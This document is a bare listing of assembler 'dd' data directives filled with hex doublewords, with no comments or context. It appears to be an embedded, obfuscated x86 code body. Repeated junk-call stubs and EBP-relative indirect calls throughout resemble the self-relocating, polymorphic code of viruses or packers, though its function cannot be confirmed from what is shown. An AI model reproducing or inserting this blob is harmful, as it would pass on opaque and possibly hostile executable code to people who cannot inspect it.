		dd 0E99D61h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 14C9C356h, 2C6D41Ah
		dd 8B0F8278h, 6, 26F9858Bh, 6A060Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 560B58C3h
		dd 50F18BF2h, 816060CAh, 0AD6545CEh, 0DA816673h, 896198D0h
		dd 0F1165B5h, 0EE86106h, 0C1000000h, 4444285Bh,	9235220h
		dd 0D1492DC6h, 0DE951F2h, 0A0000000h, 50153688h, 4C546EEh
		dd 0F85151E8h, 0C18B5F5Fh, 8E9h, 3E2CE400h, 49h, 57FE900h
		dd 2E430000h, 82D3F60Bh, 2D678A9Fh, 5AFA1D32h, 0FB8FB2C7h
		dd 982A4B60h, 0C0D57008h, 4E63C69Dh, 0E0F5682Bh, 6F84A7BDh
		dd 0B542F3A0h, 7A66F11Dh, 3D536A83h, 9BBAED1Ah,	7F220788h
		dd 183B50EBh, 5F02E742h, 0A6492E09h, 218F74EFh,	81762764h
		dd 0B66D044Eh, 0ACBB8001h, 0D027D815h, 676D044Dh, 187C89BBh
		dd 8EC31F41h, 0B194EA0Dh, 43DE799Ch, 0D5480B2Eh, 13364DF0h
		dd 0FFF8A9E6h, 386D03B6h, 52A55683h, 0DD6D03B7h, 1FC2A728h
		dd 6407EC77h, 71A3D0Eh,	0DE2EDD2h, 0A9E65F7Eh, 98BA856Dh
		dd 0F99DA609h, 0EBB03166h, 19044F9Ch, 87A2B9ECh, 0B8CEF106h
		dd 0CE0BB89Dh, 432DA1Dh, 1FA0556Dh, 4337C7Eh, 0E5DB26Dh
		dd 0FDA21F7h, 4E06394Ch, 823652D3h, 1D000000h, 0E37E1649h
		dd 4DF205B6h, 883D6D04h, 0AB8EE407h, 4E58A5C6h,	0D4806D04h
		dd 95C16449h, 0D7ACA58Ah, 9F5C2988h, 184EF963h,	8809188Bh
		dd 0BB5DA4C3h, 0B04C0F3Fh, 1, 1F025397h, 63FE973Ah, 0CA9ED17Eh
		dd 694EE981h, 0DBFE7FB4h, 8699BABBh, 8AB7ECA1h,	5E353E57h
		dd 2C6116FBh, 2C119247h, 0CD1A69BEh, 2B689588h,	44E7D7Ah
		dd 0D0FDB26Dh, 44DD81Fh, 29AA5F6Dh, 0D29BF114h,	53689D80h
		dd 1C3F534Ah, 5EC19437h, 0CA55FE31h, 97C16449h,	6C04A78Ch
		dd 599EE4C9h, 38E5AB0Ah, 4ACB6E05h, 91E9E685h, 0E87EA1B6h
		dd 93C5684Dh, 67306390h, 37967BFCh, 233E578Ah, 4308893Eh
		dd 0F34BDD24h, 0DC0F4C0Fh, 7BCA184h, 2BAC8FE4h,	7F0Fh
		dd 0E495D200h, 6D044413h, 0DDE6671Ch, 642E3F53h, 4DA75001h
		dd 0DB906D04h, 0E90CC1A6h, 9A7FB4AFh, 0DDC25DF7h, 7E4D1A6Fh
		dd 59B258EAh, 0B467905Dh, 33476A7Fh, 0C4903318h, 0D0157459h
		dd 30BE6AB3h, 8BBE4C0Fh, 0B4D051F4h, 68h, 1C3F539Bh, 404E8A37h
		dd 0E69CD7B5h, 7F183BBCh, 3B5CFFE4h, 0F6A04328h, 230C486Bh
		dd 0D6BBF073h, 0C31A693Eh, 401E512h, 60954A6Dh,	0D7147348h
		dd 8A93A883h, 66310253h, 8EFE7F04h, 0C1F63278h,	0C5F227DCh
		dd 755AFD92h, 395A3FC0h, 6D03BEC1h, 0B049166Bh,	4C0F6668h
		dd 0F106B7F4h, 466D03CAh, 1F41091h, 0DB000000h,	0EA260153h
		dd 0B248F6F9h, 0E413B4AAh, 4B6D044Dh, 0CF7C6196h, 2B365F92h
		dd 7F09146h, 306D044Eh,	81D7FA7Bh, 751EC1A6h, 0C6205EAh
		dd 64394429h, 4186BF07h, 1C758C0Fh, 0CA996EE7h,	0B3C85BFDh
		dd 0F320B2E7h, 0A4FC442h, 0F1D68B6Bh, 81D384Eh,	0C7AC8FE5h
		dd 0F45057A6h, 0ACBB9066h, 0D9EE491Fh, 0A085A0B6h, 0DFC467FDh
		dd 2106193Ch, 654AD57Eh, 5C6BF8CDh, 8B402538h, 3C4B9056h
		dd 0D586D9AFh, 66F45022h, 0E23580Dh, 0FFF7F721h, 15C7445h
		dd 0AA5B0000h, 5B6E3EFh, 6B0B5811h, 959EB95Ch, 82B60C3h
		dd 0B89DD24Dh, 9AEE7F15h, 0F025DABFh, 87A2B8DBh, 0CE69FFA2h
		dd 120D46E9h, 57CA8A2Dh, 6605DA72h, 0A7E49157h,	0F53801F6h
		dd 0A1BCD766h, 8E4307BCh, 0AC3B480Dh, 715E73D6h, 4600DFA7h
		dd 32C576B3h, 9566F534h, 0C4AAEE23h, 0C97E423Bh, 4E2C48h
		dd 0AA130000h, 77B4E1F1h, 44E31C6h, 0D051066Dh,	603366A3h
		dd 0FCDB7CFDh, 3312FBB0h, 0B0EC997Eh, 35A0DA15h, 0B556D7BCh
		dd 0ED051B42h, 0FBACE926h, 0ED051AFCh, 38FD7E33h, 2AA8F32Bh
		dd 7D8B4CFDh, 2FE492FCh, 9DB8CF02h, 0AB2A071Ch,	91000000h
		dd 0B6E3EFAAh, 230C4679h, 550AEF72h, 2CFE9F20h,	6B6B0B45h
		dd 9B4C89B6h, 66F5435Ch, 0B89D1ED3h, 0C7DC7F15h, 866BCEA4h
		dd 0F5428B65h, 41326366h, 0F1D60B16h, 351A054Eh, 4320D788h
		dd 621766F5h, 546502D7h, 46C3FF3Ch, 7BBD4786h, 16753ABBh
		dd 93A883D9h, 0D300D2C7h, 866BF6A0h, 0CAAFB2E3h, 325FE015h
		dd 82B5B81h, 0B1ED9A65h, 0E276A89Fh, 589F4004h,	0DF6CE7EFh
		dd 6D10F52Ah, 0AC4F3417h, 0EB8E73D6h, 63D1B6A9h, 2272710Eh
		dd 54910A3Fh, 24617918h, 0FC949B04h, 0DEA32459h, 0D2009981h
		dd 0DE8F4A5h, 9A4F6AFBh, 0EFAA7C85h, 0D705B6E3h, 0B56B177Dh
		dd 0A556D182h, 66F11E52h, 0EF328DDh, 6814D859h,	0FA19690Eh
		dd 3255A3BFh, 0C775C7F3h, 21AD4AFBh, 0CD8266F1h, 0DB7E6398h
		dd 6A8DA285h, 9F4C3114h, 4F34176Ch, 0B378199Ah,	0BA1C1628h
		dd 0B3C90665h, 0A608398h, 0EFA74A2Fh, 0C1968F74h, 0EC4F25A2h
		dd 0DF77AAD7h, 0CAA0C344h, 780F426Fh, 1A775CDDh, 0Ch, 6EAAD781h
		dd 2D2D2EE6h, 6D76F763h, 361B3E53h, 755AFD93h, 0B99E81D2h
		dd 1E64116h, 4A2F0A5Eh,	9378D3A7h, 0D4B9A4F0h, 17FC6731h
		dd 593E2174h, 0E28952F7h, 4C281h, 0EA830000h, 24148704h
		dd 2404895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 0FC68242Ch, 89000024h, 0BB53241Ch, 7C17357Ah, 815BDD89h
		dd 53288BCDh, 0E2CD810Eh, 4D51D51Dh, 0F2F6C581h, 8B54863Bh
		dd 0C481241Ch, 4, 8904EC83h, 438F242Ch,	241C8B08h, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 51242C8Bh, 0C181E189h, 4
		dd 8704C183h, 0E95C240Ch, 0FFFC485Ah, 557BC0D5h, 8F40CBACh
		dd 3C91721Dh, 35D7B8B2h, 0C5030613h, 0C69FE0FFh, 71C7032Bh
		dd 0D2FC0E6Ch, 8F222584h, 0E6B9258Eh, 0C7034C09h, 10725836h
		dd 48077D24h, 2CC20C21h, 9BA4513Bh, 58FD5191h, 0B0A06D93h
		dd 3E2755C6h, 1B557167h, 0A8B04907h, 0C4520D1h,	0F41C3A9Ah
		dd 1F121BADh, 0B09F1E4Eh, 0EF591F99h, 0DD790639h, 0B4B0472Ah
		dd 0B0F919A4h, 75E909DFh, 60000000h, 0A8D88C66h, 35840F04h
		dd 6A000000h, 0E5B5FF01h, 8D060F1Ch, 1272E785h,	89D0FF06h
		dd 0F22E985h, 0C1FE8B06h, 680CEFh, 6A200400h, 57026A00h
		dd 1000D68h, 0E995FF00h, 0E9060F22h, 32h, 24FD85C6h, 6856060Fh
		dd 0A9C530DFh, 2CA1B5FFh, 858D060Fh, 61272E7h, 8589D0FFh
		dd 60F30C1h, 22D5858Dh,	6A50060Fh, 56056A20h, 30C195FFh
		dd 0C361060Fh, 0E806E0C1h, 11h,	0F3A513D8h, 0DF672B9Bh
		dd 0CFF00E3Dh, 0A6840162h, 7DEE81A6h, 5F418F54h, 81D38B66h
		dd 73F7C7h, 35B9F500h, 815E6625h, 6639E4F1h, 78BFC5Eh
		dd 0B5C7BB66h, 97F081h,	12E90C6Ah, 8A000000h, 0BCA26848h
		dd 75231EE4h, 0ABC025B0h, 0D2E4C098h, 0F2F0812Dh, 6664F66Ch
		dd 0B7E7EE81h, 0DC2F081h, 665055AAh, 8F8261BEh,	870F5607h
		dd 0Fh,	9E8h, 0BEA73C00h, 0E339951Eh, 5B5A2D45h, 0E903EF83h
		dd 12h,	0CAEE4C6Fh, 0B74ED552h,	639771CAh, 980E95D5h, 604F408Dh
		dd 850F30B6h, 6, 800Fh,	83610000h, 850F01E9h, 0FFFFFF7Ah
		dd 60D68B66h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	4FC35141h, 0FD01CD30h, 986EE83Bh, 8E8h,	32676800h
		dd 0FB06A53Ch, 0CFB70F11h, 6AC08B5Fh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0A2E5C353h
		dd 14BF6617h, 91BD83CAh, 60F18h, 0BD830975h, 60F26ADh
		dd 50197400h, 0B8C08B53h, 438h,	258589h, 9D8D060Fh, 611AFB8h
		dd 585BD3FFh, 26ADBD83h, 7400060Fh, 0B8535017h,	438h, 258589h
		dd 9D8D060Fh, 611ACA7h,	585BD3FFh, 0FF6BF0Fh, 68Dh, 0B98D8B00h
		dd 8B060F18h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 8BEE814h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894B2AC3h
		dd 0F10E9BDh, 7D858906h, 6A060F08h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 136BC356h
		dd 0AD00916Eh, 86EE845h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 3EA262C3h, 168FD1Ch
		dd 85291A52h, 60F2A85h,	0EE9h, 0D9D5CF00h, 3E9B78E1h, 39E81CDBh
		dd 89AF9AB8h, 0F11C585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0E1820309h, 1667BC13h
		dd 8E98Fh, 0DE360000h, 9A1F944Ah, 0F5E8791Ch, 6A000007h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FA6C350h, 681h, 9D8D3300h, 89060F18h, 0F31F585h
		dd 7E906h, 680A0000h, 153C8254h, 7B6E85Eh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0C36FDAC3h, 0EC1869D6h, 0A18D89E7h, 89060F24h, 0F18C185h
		dd 870F06h, 23000000h, 0F08598Dh, 776E806h, 85890000h
		dd 60F1159h, 8589F18Bh,	60F213Dh, 6DB53151h, 59060F33h
		dd 75BE8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0DE030509h, 0E9AB4FCDh, 0ADB58995h
		dd 89060F2Ah, 0F160585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0F78B87BBh, 707E8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 389AC313h, 60350513h, 0B013C981h, 8D895FF2h,	60F30CDh
		dd 69858961h, 6A060F34h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 7EEC353h, 0C060914Eh
		dd 0EE9675Ch, 33000000h, 0CFFE2130h, 54957B00h,	288ABDB9h
		dd 0F18166FDh, 91E80DC6h, 66000006h
		dd 8589F88Bh, 60F2A1Dh,	0E8FBBF0Fh, 680h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 46C35343h, 0AB48C309h
		dd 314FB320h, 0D68BFC60h, 0C8BF0F61h, 16858589h, 0E681060Fh
		dd 52214BCh, 643E8h, 9858900h, 89060F0Bh, 0F2929B5h, 8E906h
		dd 33EF0000h, 0AE6E069Eh, 25E85B1Dh, 8A000006h,	0ED8589CAh
		dd 6A060F2Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F9AEC350h, 0E8F8B70Fh, 5F8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h
		dd 2BD06E90h, 0F26A1B5h, 0D5858906h, 6A060F18h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 25EEC353h, 8CC8157Eh, 0B589B918h, 60F2BD9h, 89F88B66h
		dd 0F2CB195h, 596E806h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 330364C3h, 0F07E1B5h
		dd 81858906h, 2B060F15h, 0F3459B5h, 0DE906h, 0F4E90000h
		dd 933B7E53h, 0BEB7524Ch, 0E8E12DAEh, 550h, 128D8589h
		dd 8B66060Fh, 542E8F0h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 41A6F9C3h, 0D2DB6409h
		dd 0B58BF04Ah, 60F1271h, 1CB18589h, 6A060Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0B58B1DC3h
		dd 60F2A3Dh, 4EBE8h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 868FE50h, 10E8h, 0E2AEAD00h
		dd 0EF5D2B79h, 0ECDA1E3Dh, 0F9A27FA9h, 819531A4h, 5E060F2Ah
		dd 8398589h, 960060Fh, 0F00AD95h, 89516106h, 0F0D119Dh
		dd 0B05F06h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	21C35646h, 0B58BB9A6h, 60F3065h, 51D8B60Fh, 246D8D8Bh
		dd 0BA5E060Fh, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	2EC35747h, 9D8956E0h, 60F230Dh,	12F5B589h, 0C38B060Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C7C35141h
		dd 0A11173B1h, 0B589F7DFh, 60F336Dh, 0F04E8C1h,	8D8BF3BFh
		dd 60F1055h, 8BE2F766h,	0F1B70FF8h, 6060D82Bh, 67D28166h
		dd 0CE9F8h, 66420000h, 0F9DDFAFDh, 0B630F22Dh, 8161249Ch
		dd 654BF0E0h, 60506115h, 50F1B866h, 241C8961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 33C35646h, 0C9B70F5Eh
		dd 42BDE81h, 95FF6D48h,	60F3449h, 50006A5Bh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 271F1774h
		dd 0B9A2BFFAh, 0A9850183h, 0E8060F26h, 8, 32C79564h, 694DEBDCh
		dd 6DCB8160h, 0E910702Bh, 0Ch, 623F18E2h, 0A03ACC91h, 13BE62FAh
		dd 958D5F61h, 60F2909h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 16C35040h, 98F61F60h,	0C151F825h, 6A1A89h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 89557C3h, 53640142h,	858968AEh, 60F13F1h, 89044289h
		dd 0F105585h, 0FDB53306h, 8D060F15h, 0F11A595h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 494B9DDh, 5FB966D9h,	6A1A8968h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 325C350h
		dd 0D975C2BEh, 0C90BC1h, 81044289h, 9072F7E6h, 0B9958D77h
		dd 6A060F27h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0CEDEC351h, 0E91A8959h, 0Dh, 0B8DE740Fh
		dd 578847C9h, 1035627Bh, 4428967h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 56C35242h, 0B11ADB6Ch, 85CCCA28h
		dd 0FD958D19h, 6A060F1Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F23C356h, 1A89FABFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C1C35646h
		dd 0F299FF4Fh, 89D2D984h, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 9F6096C3h, 0B922FCC7h
		dd 11E97203h, 0
		dd 3B42CA7Eh, 47851A47h, 5F1A21F4h, 0ABC17978h,	0D7D958Dh
		dd 6A060Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 117408C3h, 8BB3323Ch, 0F2D2DBDh, 0F1A8906h
		dd 186h, 4289F900h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0DAB13CBEh, 70AC4C15h
		dd 8DF9174Bh, 0F26C995h, 0FFB70F06h, 6A1A89h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0B87838C3h
		dd 3645A253h, 89227C88h, 6A0442h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 8FA7C3C3h, 0CE8BEC9Ah
		dd 2391958Dh, 6A060Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 66E208C3h, 0F4459B9h, 0C8Fh, 68A0F00h
		dd 1000000h, 0F3465BDh,	6A1A8906h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5A7FC350h
		dd 0E3E1F264h, 54EECEEDh, 1A219589h, 0EE81060Fh, 2663C755h
		dd 66044289h, 7C46D681h, 162D958Dh, 6A060Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 5EE37CC3h
		dd 8B53E41Fh, 65B589CAh, 89060F22h, 57006A1Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0E175DA91h
		dd 442897Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	15C35040h, 29E08953h, 0F288595h, 8BE906h, 8D8B0000h
		dd 60F1635h, 0BD8B006Ah, 60F0119h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 9570F6C3h
		dd 0C864287Bh, 66F38B45h, 6A0689BEh, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 13E95F86h
		dd 3D000000h, 0EE194587h, 0EC2813ADh, 29622717h, 52A6F8B4h
		dd 6AD3B9h, 89B52Bh, 95FF060Fh,	60F30E1h, 2211BD89h, 31C3060Fh
		dd 0F143D8Dh, 6AC58A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0EC81C355h,	891A263Eh
		dd 0F3219BDh, 8BC08B06h, 0F1B45BDh, 35B58B06h, 83060F08h
		dd 0F1891BDh, 9750006h,	26ADBD83h, 7400060Fh, 8B535019h
		dd 438B8C0h, 85890000h,	60F2941h, 0B01F9D8Dh, 0D3FF0611h
		dd 0BD83585Bh, 60F26ADh, 50177400h, 438B853h, 85890000h
		dd 60F2941h, 0ACC09D8Dh, 0D3FF0611h, 860F585Bh,	5, 67CF8166h
		dd 0E18D897Ah, 6A060F18h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0F973C351h,	0D18108EBh
		dd 53704244h, 23A4BE66h, 858DC08Bh, 60F1461h, 3255B589h
		dd 0E850060Fh, 8, 95EF2559h, 89906E50h,	0CAEBB66h, 2404895Fh
		dd 800Fh, 6A0000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 1DC35747h, 5EDC9724h,	37ED5C2h, 0F2BE5BDh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 4EB2C355h, 0CCC97F56h,	0D98B3752h
		dd 68F0Fh, 9D890000h, 60F2CBDh,	1B0D8589h, 858D060Fh, 6134525h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 6FC35040h
		dd 0EE074E65h, 5C083F5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E6C35242h, 9F5B0E96h, 8BB13828h, 0F081D9Dh
		dd 0DE95006h, 20000000h, 0C1E9746h, 53AADAC4h, 0D6E18F54h
		dd 8A240489h, 6A006ADAh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0ADDFC356h,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0B69274C3h, 1930BB0Eh, 0A8A0FA3h, 0E9000000h, 5, 87471E20h
		dd 8E80Fh, 0B2D20000h, 0AD6ED727h, 11E87E93h, 8B000000h
		dd 5E453A5Bh, 0F4E17DC9h, 5F12DCABh, 254BCE60h,	95FF5B5Fh
		dd 60F348Dh, 28598D89h,	7E9060Fh, 0EC000000h, 1F2C2221h
		dd 8D8DC0E2h, 612985Eh,	0CE860h, 0C1260000h, 240A965Ah
		dd 1F9820CAh, 958B6F7Eh, 60F3359h, 0D1FF615Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 8FC35646h, 0EB332AA3h
		dd 90852DCAh, 28E0F60h,	56000000h, 0F121BA5Ah, 1610F99h
		dd 0F195D95h, 0ADBD8306h, 1060F21h, 51850Fh, 26A0000h
		dd 9361BFBBh, 8A529066h, 0BB505BF9h, 6EBA0F37h,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 5FA95B9h, 8E0F6036h,	6, 5558D89h, 0FF61060Fh, 0F30FD95h
		dd 0F9BD8B06h, 66060F00h, 0E9414DBFh, 0E25h, 0E8h, 0ED815D00h
		dd 613452Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	25C35545h, 0AFA8EA70h, 0BBFEB70Fh, 6A35B690h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DEC35343h, 0DE979h
		dd 0D2C0000h, 0CB3B16FBh, 5D387441h, 8DF9FB6Eh,	12884785h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 11222462h, 6633F042h, 2604D381h,	5800F52h
		dd 66000000h, 90F7EB81h, 8B0F905Bh, 17h, 0FE8h,	0DEC7E00h
		dd 2648D83Bh, 773F93FCh, 63F9BB9Dh, 505B6160h, 14E9h, 396C1C00h
		dd 0DC2C3934h, 38083BDDh, 351DF811h, 73485BA1h,	0EB790FEh
		dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0BD39C355h,	258964h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 3162C352h, 15A19501h, 8956060Fh
		dd 0F31CD85h, 85FF5F06h, 60F2459h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 61C35747h, 0F4259CADh, 0F380684Fh
		dd 0A18D893Fh, 6A060F15h, 0DFBF0FFFh, 87DB5FFh,	6651060Fh
		dd 0FF5BD88Bh, 0F145595h, 16CE906h, 6E80000h, 28000000h
		dd 2FCA75Ah, 0B58B6086h, 60F0A39h, 2839BD8Bh, 5B61060Fh
		dd 0CE800B0h, 0AE000000h, 0EEEFB854h, 0AE781EABh, 525945C7h
		dd 0E65F5BF5h, 9159BB70h, 71E40F75h, 22C18060h,	19A1BD8Bh
		dd 3C61060Fh, 1F830F61h, 80000001h, 0B60F6CEBh,	0DABF0FC8h
		dd 6BAh, 80606000h, 8EBE61CDh, 6126BFBBh, 2398F081h, 8B61544Dh
		dd 898D89C1h, 0C1060F1Ch, 0EE904E8h, 1C000000h,	0AF88CFF6h
		dd 0B7A84299h, 0E34551F4h, 0E2F766F1h, 0C82BD98Ah, 11880Fh
		dd 0CE90000h, 29000000h, 0DDE124F7h, 1CB7B6Eh, 0F31F553h
		dd 0D18BDABFh, 1881BD0Bh, 0B589060Fh, 60F2869h,	6E9h, 119D8900h
		dd 8B060F33h, 0F290985h, 0A5B58906h, 83060F24h,	0BD8B07C0h
		dd 60F1EADh, 8B00C083h,	0F11359Dh, 0FD03B06h, 1383h, 0DDBD8900h
		dd 0E9060F15h, 76h, 2850Fh, 0EBB30000h,	12B18D8Bh, 0F60060Fh
		dd 0BD09CBB7h, 60F2779h, 75850961h, 83060F09h, 840F01E1h
		dd 4Eh,	13E8h, 0D5AAAC00h, 0BA326D16h, 0A2BDE184h, 0C453DABFh
		dd 51675D33h, 2B299D0Bh, 835B060Fh, 0F12B1A5h
		dd 800FFE06h, 2, 6E8FA8Ah, 20000000h, 0A116F1B9h, 95895BF6h
		dd 60F2909h, 34F78166h,	0DCBF6636h, 0E9D6h, 0B58D0000h
		dd 612D273h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	39C35242h, 27665C31h, 0CE80Bh, 32FC0000h, 2D276873h
		dd 1BEE5FE0h, 0BD8951D6h, 60F33C1h, 0C1BD8B5Fh,	0F060F0Dh
		dd 181h, 6AFC00h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0BEC35242h, 1DB6E394h, 0FF5F5793h, 0F345195h, 71858906h
		dd 66060F15h, 0B9FC22BBh, 7CCh,	0D9D38166h, 0FCE183B1h
		dd 60DE8B66h, 74C1D2B8h, 0F2806012h, 2DBD89E7h,	61060F19h
		dd 6AFC61h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 4BCB55C3h, 0B83A60h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 5BA8C356h, 2BA69861h, 0C233ADD2h, 0D003E8D1h, 7504E983h
		dd 959D8BF4h, 6A060F34h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0DD05C357h,	0B4AFED2Ah
		dd 7E9h, 0EE0C6800h, 56FCBB8Ah,	880Dh, 39BD3100h, 8B060F2Ch
		dd 0F2C6595h, 0BD9D8B06h, 8B060F12h, 0F07C18Dh,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0EB816683h, 0BB66B878h, 8B50C6B8h, 3188BC2h,	8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0BFC35747h, 84564582h, 255D9D8Bh, 6A060Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 35B7EFC3h, 0F05B2953h, 0D5BD8332h, 60F2Ah, 87840Fh
		dd 0BD890000h, 60F3379h, 0B8h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 7A9EBFC6h
		dd 7BEC6C01h, 8D8D8AE1h, 60F4CA7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0B8C35040h,	84916AF8h, 6AE1FFB6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 2DCEC351h, 517D5D01h, 262DBD8Bh, 95B060Fh
		dd 0F16ED85h, 91BD8306h, 60F24h, 44B840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E0EB51C3h, 0CEFB25ADh, 0BD83DAACh, 60F2491h, 35840F01h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0B209C350h, 0BD83D80Ch, 60F2491h
		dd 0D3860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0EFD8C356h,	5580008Eh
		dd 89D49363h, 0F09698Dh, 8B666006h, 0D98C66DEh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 2CC35545h, 1DDB8108h
		dd 802655C5h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0DCADA1C3h, 0A330454Ch, 66F80455h
		dd 8BB8FCBBh, 0F18B99Dh, 0FC90A06h, 14784h, 5EC6BB00h
		dd 0F3805898h, 0A9858B23h, 8B060F2Dh, 0F28F99Dh, 0AD853306h
		dd 6A060F19h, 3E85000h,	20000000h, 8958C358h, 81042444h
